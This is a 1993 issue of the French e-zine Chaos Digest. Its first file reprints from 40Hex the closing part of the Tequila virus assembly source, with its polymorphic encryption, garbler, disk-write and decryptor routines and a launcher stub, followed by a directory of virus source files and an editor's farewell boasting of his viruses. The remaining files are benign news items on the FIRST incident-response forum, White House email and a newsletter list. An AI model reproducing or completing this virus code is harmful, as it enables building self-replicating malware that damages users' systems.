HPAVC/HPAVC CD-ROM.iso/KAOS1_44.ZIP/KAOS1-44

Text File | 1993-06-03 | 28KB | 826 lines

Chaos Digest              Mercredi 2 Juin 1993        Volume 1 : Numero 44
                             ISSN 1244-4901

       Editeur: Jean-Bernard Condat ([e-mail])
       Archiviste: Yves-Marie Crabbe
       Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.44 (2 Juin 1993)
File 1--40H VMag Issue 1 Volume 4 #012(2)-014 (reprint)
File 2--Adresse electronique de Bill Clinton (news)
File 3--FIRST, nouveau forum anti-hackers aux USA (lutte)
File 4--Liste de diffusion de _The Hack Report_ (abonnement)
File 5--Autre type de chaos (identification)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
                [e-mail]
with a mail header or first line containing the following informations:
                    X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice ([phone]), fax [phone])
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893.  Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:

        * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
        * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
        * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
        * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
        * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
        * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
        * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
        * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission.  Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications.  Articles are preferred to short responses.  Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
            the views of the moderators. Chaos Digest contributors
            assume all responsibility for ensuring that articles
            submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: [e-mail] (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Issue 1 Volume 4 #012(2)-014 (reprint)

[suite du listing du virus Tequila]


WRITE_THE_NEW_HEADER:
   CALL 0696             ;Masm Mod. Needed
 OUT_OF_ENCRYPT:
   RET

COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
   PUSH BP
   XOR AH,AH
   INT 01A
   MOV AX,DX
   MOV BP,DX
   PUSH DS
   POP ES
   MOV DI,0960
   MOV SI,DI
   MOV CX,020
   CLD
   REP STOSW
   XOR DX,DX
   MOV ES,DX
   CALL ENCRYPT_STEP_ONE
   CALL ENCRYPT_STEP_TWO
   CALL ENCRYPT_STEP_THREE
   MOV B[SI],0E9
   MOV DI,028C
   SUB DI,SI
   SUB DI,3
   INC SI
   MOV W[SI],DI
   MOV AX,0A04
   CALL AX
   POP BP
   RET

ENCRYPT_STEP_ONE:
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JNE 08EB                  ;Masm Mod. Needed
   MOV B[SI],0E
   INC SI
   CALL GARBLER
   MOV B[SI],01F
   INC SI
   CALL GARBLER
   RET
   MOV W[SI],0CB8C
   INC SI
   INC SI
   CALL GARBLER
   MOV W[SI],0DB8E
   INC SI
   INC SI
   CALL GARBLER
   RET

ENCRYPT_STEP_TWO:
   AND CH,0FE
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0920                   ;Masm Mod. Needed
   OR CH,1
   MOV B[SI],0BE
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   CALL GARBLER
   ADD BX,0960
   TEST CH,1
   JE 0934                   ;Masm Mod. Needed
   MOV B[SI],0BB
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   CALL GARBLER
   ADD BX,0960
   TEST CH,1
   JE 090C                   ;Masm Mod. Needed
   SUB BX,0960
   CALL GARBLER
   MOV B[SI],0B9
   INC SI
   MOV AX,0960
   MOV W[SI],AX
   INC SI
   INC SI
   CALL GARBLER
   CALL GARBLER
   RET

ENCRYPT_STEP_THREE:
   MOV AH,014
   MOV DH,017
   TEST CH,1
   JE 0958                   ;Masm Mod. Needed
   XCHG DH,AH
   MOV DI,SI
   MOV AL,08A
   MOV W[SI],AX
   INC SI
   INC SI
   CALL GARBLER
   XOR DL,DL
   MOV B[0A39],028           ;Masm Mod. Needed
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0978                   ;Masm Mod. Needed
   MOV DL,030
   MOV B[0A39],DL            ;Masm Mod. Needed
   MOV W[SI],DX
   INC SI
   INC SI
   MOV W[SI],04346
   INC SI
   INC SI
   CALL GARBLER
   MOV AX,0FE81
   MOV CL,0BE
   TEST CH,1
   JE 0993                   ;Masm Mod. Needed
   MOV AH,0FB
   MOV CL,0BB
   MOV W[SI],AX
   INC SI
   INC SI
   PUSH BX
   ADD BX,040
   MOV W[SI],BX
   INC SI
   INC SI
   POP BX
   MOV B[SI],072
   INC SI
   MOV DX,SI
   INC SI
   CALL GARBLER
   MOV B[SI],CL
   INC SI
   MOV W[SI],BX
   INC SI
   INC SI
   MOV AX,SI
   SUB AX,DX
   DEC AX
   MOV BX,DX
   MOV B[BX],AL
   CALL GARBLER
   CALL GARBLER
   MOV B[SI],0E2
   INC SI
   SUB DI,SI
   DEC DI
   MOV AX,DI
   MOV B[SI],AL
   INC SI
   CALL GARBLER
   RET

GARBLER:
   DEC BP
   ES TEST B[BP],0F          ;Masm Mod. Needed
   JE RET                    ;Masm Mod. Needed
   DEC BP
   ES MOV AL,B[BP]           ;Masm Mod. Needed
   TEST AL,2
   JE 0A0E                   ;Masm Mod. Needed
   TEST AL,4
   JE 09F7                   ;Masm Mod. Needed
   TEST AL,8
   JE 09F1                   ;Masm Mod. Needed
   MOV W[SI],0C789
   INC SI
   INC SI
   JMP RET                   ;Masm Mod. Needed
   MOV B[SI],090
   INC SI
   JMP RET                   ;Masm Mod. Needed
   MOV AL,085
   DEC BP
   ES MOV AH,B[BP]           ;Masm Mod. Needed
   TEST AH,2
   JE 0A05                   ;Masm Mod. Needed
   DEC AL
   OR AH,0C0
   MOV W[SI],AX
   INC SI
   INC SI
   JMP RET                   ;Masm Mod. Needed
   DEC BP
   ES TEST B[BP],2           ;Masm Mod. Needed
   JE 0A1A                   ;Masm Mod. Needed
   MOV AL,039
   JMP 09F9                  ;Masm Mod. Needed
   MOV B[SI],0FC
   INC SI
   RET

MAKE_THE_DISK_WRITE:
   CALL PERFORM_ENCRYPTION_DECRYPTION
   MOV AH,040
   MOV BX,W[09A4]
   MOV DX,0
   MOV CX,09A4
   PUSHF
   CALL D[09B4]              ;Masm Mod. Needed
   JB 0A37                   ;Masm Mod. Needed
   SUB AX,CX
   PUSHF
   CMP B[0A39],028           ;Masm Mod. Needed
   JNE 0A44                  ;Masm Mod. Needed
   MOV B[0A39],0             ;Masm Mod. Needed
   CALL PERFORM_ENCRYPTION_DECRYPTION
   POPF
   RET

PERFORM_ENCRYPTION_DECRYPTION:
   MOV BX,0
   MOV SI,0960
   MOV CX,0960
   MOV DL,B[SI]
   XOR B[BX],DL
   INC SI
   INC BX
   CMP SI,09A0
   JB 0A61                   ;Masm Mod. Needed
   MOV SI,0960
   LOOP 0A52                 ;Masm Mod. Needed
   RET

THE_FILE_DECRYPTING_ROUTINE:
   PUSH CS
   POP DS
   MOV BX,4
   MOV SI,0964
   MOV CX,0960
   MOV DL,B[SI]
   ADD B[BX],DL
   INC SI
   INC BX
   CMP SI,09A4
   JB 0A7E                   ;Masm Mod. Needed
   MOV SI,0964
   LOOP 0A6F                 ;Masm Mod. Needed
   JMP 0390                  ;Masm Mod. Needed

;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
;==========       BUT IS MERELY THE BOOSTER.       ========

START:
   LEA W[0104],EXIT          ;Masm Mod. Needed
   MOV W[0106],CS            ;Masm Mod. Needed
   MOV BX,CS
   SUB W[0106],BX            ;Masm Mod. Needed
   JMP INSTALL

EXIT:
   INT 020

TEQUILA ENDP
CODE_SEG ENDS
END TEQUILA

+++++

40Hex Issue 4                                            December 1991

Left Blank
Cause its bad
luck
    how about something real dumb like....


Directory of C:\TASM

.            <DIR>     11-28-91  11:44a
..           <DIR>     11-28-91  11:44a
LAB          <DIR>     12-10-91   8:45p
1605     ASM     38553 12-09-91  12:31p
911      ASM     19267 12-10-91   7:21p
911      SDF      7084 12-10-91  10:41p
BBRAINS  ASM      8990 08-06-91   3:04p
BMONDAY  ASM     21455 12-09-91  12:31p
BOBVIRUS ASM     21280 12-14-91   4:38p
BRU_TEST COM        11 12-16-91   1:52p
CANCER   ASM      2600 02-09-91  12:38a
DARTH2   ASM      8938 12-09-91  11:50a
DEADPOOL ASM      5324 12-14-91   1:00a
DIR2SCAN ASM       892 12-22-91   1:17a
DIR2SCAN COM       112 12-22-91   1:17a
EMFII    ASM     16755 12-08-91  10:55p
FILES    DOC      2373 12-11-91   9:58a
FUNNY    ASM      5807 12-18-91  12:46p
FUNNY    COM       208 12-18-91  12:46p
GREP     DOC     13619 03-13-91   2:02a
HAPPY    ASM      5667 12-18-91  12:32p
HAPPY    MAP        34 12-25-91  11:27a
HEADER              94 12-09-91  10:25a
JOKER    ASM     16258 11-10-91  10:55p
KILL-FSP ASM      1475 11-12-91   4:28p
KILL-FSP COM        55 12-25-91  11:26a
KILL-FSP EXE       823 12-25-91  11:26a
KILL-FSP MAP       103 12-25-91  11:26a
KILL-FSP OBJ       195 12-25-91  11:26a
MAKE     EXE     37056 03-13-91   2:02a
MANUAL   DOC     52126 03-13-91   2:02a
MBIOS    MAC     13380 03-13-91   2:02a
MG-1     ASM      4527 12-17-91  10:58a
MG-1     SDF      2319 12-17-91  10:58a
NAILME   ASM       206 12-18-91  10:01p
NAILME   COM       100 12-19-91  10:26a
OBJXREF  DOC     18404 03-13-91   2:02a
PARITY   ASM      5837 12-09-91  12:49p
PH-VIR1  TXT     22086 11-04-91   9:00p
PROLOG   DOC     23811 03-13-91   2:02a
RAGE     ASM      9335 11-29-91  12:17p
SR       EXE    117543 10-30-89   8:00a
SURVEY   DOC      4479 11-29-91   1:01p
TASM     EXE    106521 03-13-91   2:02a
TASM     TAH    167927 03-13-91   2:02a
TCREF    DOC      4954 03-13-91   2:02a
TCREF    EXE      7856 03-13-91   2:02a
TD       EXE    409360 03-13-91   2:02a
TDCONFIG TD       1208 12-06-91  12:01p
TDCONVRT EXE     35366 03-13-91   2:02a
TDDEV    EXE      8544 03-13-91   2:02a
TDHELP   TDH    126541 03-13-91   2:02a
TDINST   EXE    107638 03-13-91   2:02a
TDMAP    EXE     16944 03-13-91   2:02a
TDMEM    EXE     14256 12-24-91   8:19p
TDNMI    COM       644 03-13-91   2:02a
TDPACK   EXE     25520 03-13-91   2:02a
TDREMOTE EXE     20738 03-13-91   2:02a
TDRF     EXE     17376 03-13-91   2:02a
TDSTRIP  EXE     13868 03-13-91   2:02a
TDUMP    EXE     70554 03-13-91   2:02a
THELP    COM      9912 11-28-91  11:46a
THELP    DOC      7619 03-13-91   2:02a
TINY     ASM      4233 01-01-80  12:26a
TINY     TXT        92 01-01-80  12:25a
TINYB    ASM      4404 01-01-80  12:32a
TINYB    TXT        89 01-01-80  12:31a
TINYC    ASM      4669 01-01-80  12:14a
TINYC    TXT       118 01-01-80  12:31a
TINYD    ASM      5486 01-01-80  12:02a
TINYE    ASM      6464 01-01-80  12:09a
TLIB     EXE     35668 03-13-91   2:02a
TLINK    DOC      3837 03-13-91   2:02a
TLINK    EXE     53510 03-13-91   2:02a
TOUCH    COM      5118 03-13-91   2:02a
UPDATE   DOC     20266 03-13-91   2:02a
VIENNA   ASM     26395 09-30-87  12:59a
VIOL-C   ASM     19096 12-16-91  10:25p
VSAFE    COM     32050 03-28-91   1:00p
VWATCH   COM     12263 03-28-91   1:00p
WIN      COM     19358 12-24-91   9:52p
WINFIX   ASM      2603 12-21-91   8:18p
WINFIX   COM       357 12-24-91   9:52p
WINFIX   MAP       103 12-24-91   9:52p
WINFIX   OBJ       553 12-24-91   9:52p
       85 file(s)    1939259 bytes

Directory of C:\TASM\LAB

.            <DIR>     12-10-91   8:45p
..           <DIR>     12-10-91   8:45p
LAB          <DIR>     12-10-91   8:46p
AMAG0589 TXT     46529 05-21-89   7:06p
AMAG1289 TXT    113270 12-16-89  12:21p
BIT      ASM       778 08-30-91   8:33p
BIT      MAP       103 12-24-91  11:31p
BIT      OBJ       192 12-24-91  11:31p
BUGOFF   ASM       903 12-25-91  11:59a
BUGOFF   COM        43 12-25-91  11:59a
BUGOFF   MAP       103 12-25-91  11:59a
BUGOFF   OBJ       198 12-25-91  11:59a
CRACK-W  ASM      1430 12-24-91   7:49p
CRACK-W  MAP       103 12-24-91   7:47p
DIR      ASM     10274 12-25-91  12:46a
DIR      MAP        99 12-25-91  12:48a
DIR      OBJ       961 12-25-91  12:48a
DIR      SDF      5032 12-25-91  12:46a
DL       ASM       416 12-14-91   6:35p
DUMB     DOC     52346 12-19-91   1:46p
ENW                  3 12-19-91   6:02p
EXE_FILE ASM        80 12-24-91  12:36a
EXE_FILE EXE       516 12-24-91  12:36a
EXE_FILE MAP       220 12-24-91  12:36a
EXE_FILE OBJ       183 12-24-91  12:36a
FUCK_UP  DOC       198 12-23-91  10:33a
FUNGUS   ASM     17120 12-21-91   1:37p
FUNGUS   SDF      4933 12-21-91   1:34p
HAP      ASM      2440 12-16-91  12:42p
HAPPY    ASM      7144 12-25-91  11:30a
HAPPY    COM       248 12-25-91  11:28a
HAPPY    MAP        99 12-25-91  11:28a
HAPPY    OBJ       424 12-25-91  11:28a
HEADER              94 12-09-91  10:25a
KENNEDY  ASM      6663 12-25-91  12:43a
KENNEDY  SDF      2803 12-25-91  12:43a
KILL     ASM       517 12-19-91   6:05p
MAR-INST BAT       205 08-31-91  12:13a
MAR-INST DOC      1037 08-31-91  12:20a
MARAUDER ASM     21997 12-23-91  10:21a
MARAUDER DOC      2305 12-20-91   9:40a
MAR_ASM! ZIP      5361 12-23-91  10:35a
MODES    ASM       244 12-25-91   7:22p
MODES    COM         7 12-25-91   7:22p
MODES    MAP        99 12-25-91   7:22p
MODES    OBJ       136 12-25-91   7:22p
NEW      ASM     21997 12-23-91  10:21a
NEW      COM       869 12-25-91  12:12a
NEW      MAP       103 12-25-91  12:12a
NEW      OBJ      1261 12-25-91  12:12a
NEW_KILL ASM      1318 12-23-91  10:29a
NEXT     ASM      2208 12-25-91  12:41a
PS       ANS      3218 11-25-91   9:43p
SECTOR   ASM      1573 12-11-91  10:52p
SS       DOC       270 08-08-91   3:00p
SS       EXE      6898 08-08-91   3:00p
TARGET   ASM       472 12-20-91   3:32p
TARGET   COM       100 12-25-91   8:53p
TARGET   MAP       103 12-25-91   8:53p
TARGET   OBJ       261 12-25-91   8:53p
       60 file(s)     348507 bytes

Directory of C:\TASM\LAB\LAB

.            <DIR>     12-10-91   8:46p
..           <DIR>     12-10-91   8:46p
        2 file(s)          0 bytes

Total files listed:
      147 file(s)    2287766 bytes
                     1843200 bytes free

+++++

40Hex Issue 4                                            December 1991

                            Is This The End?
                            ++++++++++++++++

   Well, to be honest.  I'm kind of tired writing this magazine.  It's
   not like I hate it or anything, it's just too much pressure for one
   person to handle.  Decimator helped me out a bit with a few articals
   and such.  But still every time I do an issue it's me who does the
   marjority of the work.  It seems the magazine is bigger than I
   thought.  It seems to be on everybodys BBS from NY to California,
   from Canada to Europe.  The thing is I can't write this thing by
   myself anymore.  I work everyday from 2pm - 10pm and I will be going
   back to school next semester.  So I don't have time to handle all the
   things I do.  So in the long run the magazine suffers.  Anyway,
   unless people want to help out (mabey the reason is that I haven't
   really asked before) lemme know.  Contact me on Digital Warefare.
   The numbers in an artical in this issue somewhere I'm sure.  Anyway,
   fuck it, If people don't contribute soon this may well be the last
   issue of this rag ever.  So whatever happens in 1992, we shall see.
   So if this is it, later people.  My viruses will still be coming on
   strong as always...

   Later
   Hellraiser 12/26/91

------------------------------

Date: Thu Jun  3 01:48:14 -0400 1993
From: [e-mail]
Subject: File 2--Adresse electronique de Bill Clinton (news)

[ChaosD: Voici la reponse recu a un courrier envoye ce matin au President
des Etats-Unis sur sa nouvelle messagerie ouverte le premier du mois:
[e-mail].]


     Thank you for sending in your thoughts and comments to the
President via electronic mail.  We are pleased to introduce this
new form of communication into the White House for the first time
in history.  I welcome your response and participation.

     As we work to reinvent government and streamline our
processes, this electronic mail experiment will help put us on
the leading edge of progress.  Please remember, though, this is
still very much an experiment.

     Your message has been read, and we are keeping careful track
of all the mail we are receiving electronically.  We will be
trying out a number of response-based systems shortly, and I ask
for your patience as we move forward to integrate electronic mail
from the public into the White House.

     Again, on behalf of the President, thank you for your
message and for taking part in the White House electronic mail
project.

                                  Sincerely,

                        Marsha Scott, Deputy Assistant
                        to the  President and Director
                              of Correspondence

------------------------------

Date: May 29, 1993 08:47:48 GMT
From: [e-mail] (Gregory Noe )
Subject: File 3--FIRST, nouveau forum anti-hackers aux USA (lutte)
Copyright: Worldwide Videotex & The Baltimore Sun, 1993


RESPONSE GROUP FORMED TO HANDLE INTERNATIONAL COMPUTER AND NETWORK SECURITY
     PROBLEMS
Mainframe Computing      May 00, 1993   V. 6   NO. 5    p.  1

Government  and  private  organizations  in  North  America  and Europe are
joining  forces  to help combat and prevent the world's escalating computer
and network security problems.

Known  as  the   *Forum  of  Incident  Response  and  Security  Teams*,  or
FIRST,  the  coalition  brings  together  a  variety  of  computer security
incident  response  teams  from  the public and private sectors, as well as
from  universities.  FIRST  aims  to foster cooperation and coordination in
incident  prevention, to prompt rapid reaction to incidents, and to promote
information  sharing  among its members. FIRST currently includes more than
20  response  teams  and  liaisons  (see  attached  list  of  participating
organizations).

Participation  in  FIRST is voluntary, and member teams must fund their own
involvement.  One  of  FIRST's  chief  goals  is  to  expand  the number of
participating  incident  response teams and to foster increased cooperation
in incident response-related activities.

In  general,  a response team is set up to serve a defined constituency. In
many  cases,  a team serves a single organization's computer network users.
Other  teams are operated by computer vendors and deal primarily with their
specific  operating  systems.  Incident response teams generally augment an
organization's  overall  computer  security efforts by focusing on computer
security incidents.

The  FIRST  Secretariat  is  responsible  for  various  administrative  and
coordination activities. The National Institute of Standards and Technology
serves as the secretariat.

"Computer  security vulnerabilities associated with information technology,
such   as  malicious  abuse  or  viruses,  require  a  rapid,  skilled  and
coordinated  response  to  minimize  damage,"  said  Dennis  Steinauer, who
oversees  NIST's  participation  in  FIRST  and  chairs  the FIRST Steering
Committee.  "For  a  response  team  to  be  effective,  it must have rapid
communication  both  within  its  own  constituency and with other incident
response  teams.  That's  what FIRST aims to accomplish." FIRST members, he
said,  use  automatic  alerting mechanisms, electronic mail and a number of
other methods to achieve this rapid communication.

FIRST is working to achieve  several goals:

*  To boost cooperation among information technology users in the effective
prevention, detection and recovery from computer security incidents;

*  To  provide a means to alert and advise clients on potential threats and
emerging incident situations;

*  To  support  and  promote  the  actions  and activities of participating
incident response teams, including research and operational activities; and

*  To  simplify  and encourage the sharing of security-related information,
tools and techniques.

FIRST  membership has grown quickly from 11 original teams to more than 20.
Although   initial   membership  consisted  primarily  of  U.S.  government
organizations, membership of private-sector organizations, universities and
non-U.S.   organizations   is   growing.   Many   are  finding  that  FIRST
participation  offers  extensive  information  and  help  in  combating and
preventing  computer  security  incidents.  FIRST officials state, however,
that  members  are expected to participate actively in the forum. The FIRST
Secretariat  can  provide  information on establishing an incident response
capability  and  on  FIRST  membership.

For more information, contact:

FIRST Secretariat
Attn:  Dennis Steinauer
National Institute of Standards and Technology
A216 Technology Building
Gaithersburg, MD 20899-0001
Phone: [phone]
Electronic Mail: [e-mail].

+++++

COMPUTER SECURITY EXPERTS ON THE ALERT
BALTIMORE MORNING SUN (BS) - Monday, May 24, 1993
By: Steve Auerweck Staff Writer
Edition: Final  Section: Financial  Page: 12C


On  Nov. 2, 1988, Robert Morris, a Cornell University graduate student from
Arnold, set loose a "worm" that soon disabled thousands of computers on the
Internet, an enormous but loose conglomeration of computers nationwide.

   Not  long afterward, a group of computer security experts meeting at the
National Security Agency headquarters at Fort Meade to discuss the disaster
laid  the  groundwork  for  FIRST, the *Forum  of  Incident   Response  and
Security Teams.

   FIRST,  coordinated  out  of  the  National  Institute  of Standards and
Technology  offices  in  Gaithersburg,  is a coalition of computer security
response teams from both the public and private sectors.

   Dennis  Steinauer,  chairman  of the FIRST steering committee, describes
the need this way: "As more and more organizations get themselves hooked up
to  networks  .  .  .  the threat population has increased, or at least the
avenues of exposure."

   So  FIRST  now  brings  together a variety of outfits that might need to
respond  swiftly  to security threats. They range from teams at the Defense
Department  to  US Sprint, the Space Physics Analysis Network in France and
the Government Centre for Information Systems in the United Kingdom.

   The  idea  is to provide swift communication among members about current
or potential problems, such as computer viruses or virulent hackers.

   "We're  not  a  professional or educational organization," Mr. Steinauer
says. "This is an operational activity."

   Their  main  avenue  of  communication  is  the  Internet, but they also
learned  a  lesson  in  1988. "We have backup methods in place that we test
from time to time," Mr. Steinauer says, "including the telephone."

   FIRST  is  contemplating  staging "a fairly extensive drill"; it has not
yet been challenged by any major incidents.

COMPUTER SCIENCES LAB WINS DEFENSE CONTRACT

   Computer  Sciences  Corp.  learned  last  week that its Network Security
Integration  Laboratory,  located  near  Fort  Meade,  won a $19.9 million,
four-year  contract to provide information security services to the Defense
Department.

   The  laboratory  works with the National Computer Security Center, which
is  affiliated  with  the  NSA.  The  Anne Arundel lab averages 40 workers,
supported  by  another  60  at  CSC's Systems Engineering Division in Falls
Church, Va. No new positions are anticipated here.

   CSC,  headquartered  in  El  Segundo,  Calif., had received a $6 million
contract for the first phase of the project last October.

   Its  security laboratory evaluates encryption devices built for computer
networks,  telephones,  fax machines and the like, and helps users put them
to work in specific applications. It also tests security systems and builds
mock-ups for Defense Department projects.

DIGITAL OFFERS $5,000 TO BREAK V-CARD SYSTEM

   Digital  Enterprises  Inc.  of Gaithersburg has a challenge for hackers:
Break its anti-virus scheme and win $5,000.

   The  company  sells a hardware/software protection system called V-Card.
If  you  can  beat  the  machine at its headquarters -- no Trojan horses or
bombs allowed, the company says -- you'll win the prize.

   Enterprising hackers can call Digital at [phone].

MICROPROSE GAMES HEADED FOR CD FORMATS

   Hunt  Valley's MicroProse Software Inc. has licensed several of its most
popular  game  titles  to  Capitol  Multimedia  Inc. for release in two new
mass-market  compact  disk  formats.  The  Washington company will develop,
market  and  distribute the games for CD-I (CD-Interactive) and Sony CD-ROM
XA machines.

   The  titles  covered  by  the  worldwide  pact  are Sid Meier's Pirates,
Railroad  Tycoon  and  Civilization, as well as Silent Service and Airborne
Ranger.

WAVERLY TO DISTRIBUTE DAROX VIDEODISCS

   Waverly   Inc.'s   Electronic  Media  Division  will  be  the  exclusive
distributor  of interactive videodiscs put out for nursing schools by Darox
Corp. of La Jolla, Calif.

   Darox  now  has  32  titles  for  health  professionals, with more being
developed.  They  join other Waverly products for medical instruction, such
as  the  Medi-Sim  computer-assisted  instruction  programs  and  a line of
videos.

MAGAZINE SEEKS COMPUTER NIGHTMARES

   Has  your computer driven you right to the edge? Are you ready to hire a
disgruntled postal worker to blast the thing to smithereens? Do you long to
fold, spindle and mutilate?

   Put  those  problems  on  paper  and  you  may  win a restful weekend in
California, courtesy of San Diego's ComputorEdge Magazine.

   Its  Computer  Dementia  Contest  seeks a 1,000-word essay on your worst
computer nightmare. The most horrid wins a weekend out West.

   "We  have  a  couple  hundred entries so far," said the magazine's Kevin
Leap.  "Some are pretty hilarious. There was a guy who got Doritos stuck in
the  keyboard and woke up the next morning with 220,000 pages of the letter
'E.' "

   Send entries to P.O. Box 83086, San Diego, Calif. 92138. The deadline is
July 31.
--
*-*-*-*-*-*-*-*-*-*-*-*-*-*-         [e-mail]
-    Gregory  NOE          *         ________________________
*    PARIS  (France)       -
-*-*-*-*-*-*-*-*-*-*-*-*-*-*

------------------------------

Date: 10 May 1993 03:17:51 GMT
From: [e-mail] (Doug Sewell )
Subject: File 4--Liste de diffusion de _The Hack Report_ (abonnement)


                      The Hack Report List

                 [[e-mail]]

The Hack Report is a monthly informational newsletter put out by Lee
Jackson, Co-Moderator of the FidoNet International SHAREWRE echo and
Moderator of the FidoNet WARNINGS echo which warns of hacked, hoax,
Trojan Hourse, and pirated files that have been seen posted on BBS
systems worldwide.  It is mainly MS-DOS oriented, although it does
have a few notes on programs for other computer platforms.  It is a
great aid for anyone who downloads files from a public access system.

There are many people who do not get quack, or any, access to the
latest version of the essential report.  This mailing list has been
created to allow fast efficient distribution of The Hack Report to
people with an Internet mail address who do not have easy access to
it via other means such as anonymous FTP or through FidoNet.  This is
a one-directional list soley for the distribution of The Hack Report
each month.

To subscribe to The Hack Report mailing list, please send requests to
the human monitored address hackalive.ersys.edmonton.ab.ca.

Owner:  Marc Slemko <[e-mail]>
--
Doug Sewell, Tech Support, Computer Center, Youngstown State University
[e-mail]    [e-mail]     <internet>!cc.ysu.edu!doug

------------------------------

Date: Mon May 31 23:47:20 -0700 1993
From: [e-mail] (Bill Park )
Subject: File 5--Autre type de chaos (identification)

> that present some security aspects: frauds, hacking, swapping,
> legislation, phreaking...

Ooops!  Sorry, I though the journal was about the nonlinear dynamic systems
kind of choas.

Never mind,
Bill Park
=========

------------------------------

End of Chaos Digest #1.44
************************************